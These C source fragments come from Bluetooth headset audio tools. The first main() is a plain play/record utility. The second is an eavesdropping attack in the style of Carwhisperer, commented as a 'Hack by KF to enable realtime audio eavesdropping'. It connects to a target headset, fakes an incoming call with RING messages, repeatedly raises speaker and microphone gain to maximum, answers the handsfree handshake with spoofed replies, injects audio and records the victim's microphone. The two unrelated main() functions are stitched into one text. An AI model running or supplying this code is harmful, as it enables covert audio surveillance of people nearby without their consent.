static int check_bt_voice(int dev) { int dd; uint16_t vs; /* check voice settings. in this version we only support mu-law */ dd = hci_open_dev(dev); hci_read_voice_setting(dd, &vs, 1000); vs = htobs(vs); fprintf(stderr, "Voice setting: 0x%04x\n", vs); close(dd); /* MU_LAW if (vs != 0x0140) { fprintf(stderr, "The voice setting must be 0x0140\n"); return -1; } */ // 16bit if (vs != 0x060) { fprintf(stderr, "The voice setting must be 0x060\n"); return -1; } return 0; }
int main(int argc, char *argv[]) { struct sigaction sa; fd_set rfds; struct timeval timeout; unsigned char buf[2048], *p; int maxfd, sel, rlen, wlen; bdaddr_t local; bdaddr_t bdaddr; uint8_t channel; char *filename; mode_t filemode; int err, mode = 0; int dd, rd, sd, fd; uint16_t sco_handle, sco_mtu, vs; switch (argc) { case 4: str2ba(argv[3], &bdaddr); channel = 6; break; case 5: str2ba(argv[3], &bdaddr); channel = atoi(argv[4]); break; default: usage(); exit(-1); } if (strncmp(argv[1], "play", 4) == 0) { mode = PLAY; filemode = O_RDONLY; } else if (strncmp(argv[1], "rec", 3) == 0) { mode = RECORD; filemode = O_WRONLY | O_CREAT | O_TRUNC; } else { usage(); exit(-1); } filename = argv[2]; hci_devba(0, &local); dd = hci_open_dev(0); hci_read_voice_setting(dd, &vs, 1000); vs = htobs(vs); fprintf(stderr, "Voice setting: 0x%04x\n", vs); close(dd); if (vs != 0x0060) { fprintf(stderr, "The voice setting must be 0x0060\n"); return -1; } if (strcmp(filename, "-") == 0) { switch (mode) { case PLAY: fd = 0; break; case RECORD: fd = 1; break; default: return -1; } } else { if ((fd = open(filename, filemode)) < 0) { perror("Can't open input/output file"); return -1; } } memset(&sa, 0, sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = sig_term; sigaction(SIGTERM, &sa, NULL); sigaction(SIGINT, &sa, NULL); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGPIPE, &sa, NULL); if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) { perror("Can't connect RFCOMM channel"); return -1; } fprintf(stderr, "RFCOMM channel connected\n"); if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) { perror("Can't connect SCO audio channel"); close(rd); return -1; } fprintf(stderr, "SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu); if (mode == RECORD) err = write(rd, "RING\r\n", 6); maxfd = (rd > sd) ? rd : sd; while (!terminate) { FD_ZERO(&rfds); FD_SET(rd, &rfds); FD_SET(sd, &rfds); timeout.tv_sec = 0; timeout.tv_usec = 10000; if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) { if (FD_ISSET(rd, &rfds)) { memset(buf, 0, sizeof(buf)); rlen = read(rd, buf, sizeof(buf)); if (rlen > 0) { fprintf(stderr, "%s\n", buf); wlen = write(rd, "OK\r\n", 4); } } if (FD_ISSET(sd, &rfds)) { memset(buf, 0, sizeof(buf)); rlen = read(sd, buf, sizeof(buf)); if (rlen > 0) switch (mode) { case PLAY: rlen = read(fd, buf, rlen); wlen = 0; p = buf; while (rlen > sco_mtu) { wlen += write(sd, p, sco_mtu); rlen -= sco_mtu; p += sco_mtu; } wlen += write(sd, p, rlen); break; case RECORD: wlen = write(fd, buf, rlen); break; default: break; } } } } close(sd); sleep(5); close(rd); close(fd); return 0; }
int main(int argc, char *argv[]) { struct sigaction sa; fd_set rfds; struct timeval timeout; unsigned char buf[2048], *p; unsigned char cmp[2048]; int maxfd, sel, wlen, rlen; int cnt=0; bdaddr_t local; bdaddr_t bdaddr; uint8_t channel; uint8_t hcidevno; char *infilename; char *outfilename; mode_t infilemode; mode_t outfilemode; int scostarted=0; int mode = 0; int dd, rd, sd, fdi, fdo; uint16_t sco_handle, sco_mtu, vs; switch (argc) { case 5: str2ba(argv[4], &bdaddr); channel = 1; hcidevno = 0; break; case 6: str2ba(argv[4], &bdaddr); channel = atoi(argv[5]); hcidevno = atoi(argv[1]); break; default: usage(); exit(-1); } infilemode = O_RDONLY; outfilemode = O_WRONLY | O_CREAT | O_TRUNC; infilename = argv[2]; outfilename = argv[3]; hci_devba(0, &local); dd = hci_open_dev(hcidevno); hci_read_voice_setting(dd, &vs, 1000); vs = htobs(vs); printf("Voice setting: 0x%04x\n", vs); close(dd); if (vs != 0x0060) { perror("The voice setting must be 0x0060!\n"); return -1; } // Hack by KF to enable realtime audio eavesdropping. Use stdout and pipe to sox. (see usage) if(strcmp(outfilename,"-") == 0) { printf("Using stdout!"); fdo = 1; } else { if ((fdo = open(outfilename, outfilemode)) < 0) { perror("Can't open output file!"); return -1; } } if ((fdi = open(infilename, infilemode)) < 0) { perror("Can't open input file!"); return -1; } memset(&sa, 0, sizeof(sa)); sa.sa_flags = SA_NOCLDSTOP; sa.sa_handler = sig_term; sigaction(SIGTERM, &sa, NULL); sigaction(SIGINT, &sa, NULL); sa.sa_handler = SIG_IGN; sigaction(SIGCHLD, &sa, NULL); sigaction(SIGPIPE, &sa, NULL); if ((rd = rfcomm_connect(&local, &bdaddr, channel)) < 0) { perror("Can't connect RFCOMM channel!"); return -1; } printf("RFCOMM channel connected\n"); // It is important that the RING message is sent before the SCO connection is established. // This way, the audio sent is interpreted as in-band ringtone and is displayed in most cases // immediately. // send 'RING' message in order to initiate fake phone call wlen = write(rd, "RING\r\n", 6); usleep(1000); if ((sd = sco_connect(&local, &bdaddr, &sco_handle, &sco_mtu)) < 0) { perror("Can't connect SCO audio channel!"); close(rd); return -1; } printf("SCO audio channel connected (handle %d, mtu %d)\n", sco_handle, sco_mtu); // wait for connection to be fully established // usleep(200); // turn up the speaker volume and the microphone gain to the highest level wlen = write(rd, "AT+VGS=15\r\n", 11); wlen = write(rd, "AT+VGM=15\r\n", 11); // send 'RING' message in order to initiate fake phone call wlen = write(rd, "RING\r\n", 6); maxfd = (rd > sd) ? rd : sd; while (!terminate) { FD_ZERO(&rfds); FD_SET(rd, &rfds); FD_SET(sd, &rfds); timeout.tv_sec = 2; timeout.tv_usec = 0; if ((sel = select(maxfd + 1, &rfds, NULL, NULL, &timeout)) > 0) { if ((FD_ISSET(rd, &rfds))&&(scostarted!=0)) { memset(buf, 0, sizeof(buf)); rlen = read(rd, buf, sizeof(buf)); //buf[rlen++] = '\0'; if (rlen > 0) { fprintf(stderr, "got: %s\n",buf); if (strncmp(buf, "AT+BRSF=",8)==0) { wlen=write(rd,"+BRSF: 63\r\n",11); fprintf(stderr, "ansewered: +BRSF: 63\n"); } else if (strncmp(buf, "AT+CIND?",8)==0) { wlen=write(rd,"+CIND: 0,1,0,0\r\n",16); fprintf(stderr, "ansewered: +CIND: 1\n"); } else if (strncmp(buf, "AT+CIND=?",9)==0) { wlen=write(rd,"+CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\r\n",82); fprintf(stderr, "ansewered: +CIND: (\"call\",(0,1)),(\"service\",(0,1)),(\"call_setup\",(0-3)),(\"callsetup\",(0-3))\n"); } else { // answer to anything else with an 'OK' wlen = write(rd, "OK\r\n", 4); fprintf(stderr, "ansewered: OK\n"); } } else { // check return value of read call if (rlen==-1) { // terminate loop wlen = write(rd, "AT+VGM=15\r\n", 11); terminate=1; } } } if (FD_ISSET(sd, &rfds)) { scostarted=1; memset(buf, 0, sizeof(buf)); rlen = read(sd, buf, sizeof(buf)); if (rlen > 0) { wlen = write(fdo, buf, rlen); rlen = read(fdi, buf, rlen); wlen = 0; if (rlen > 0) p = buf; while (rlen > sco_mtu) { wlen += write(sd, p, sco_mtu); rlen -= sco_mtu; p += sco_mtu; } wlen += write(sd, p, rlen); } } if (cnt++>800) { // keep tuning up the volume for speaker and microphone wlen = write(rd, "RING\r\n", 6); wlen = write(rd, "AT+VGS=15\r\n", 11); wlen = write(rd, "AT+VGM=15\r\n", 11); cnt=0; printf(".\n"); } } } // close sockets close(sd); close(rd); // close files close(fdi); close(fdo); return 0; }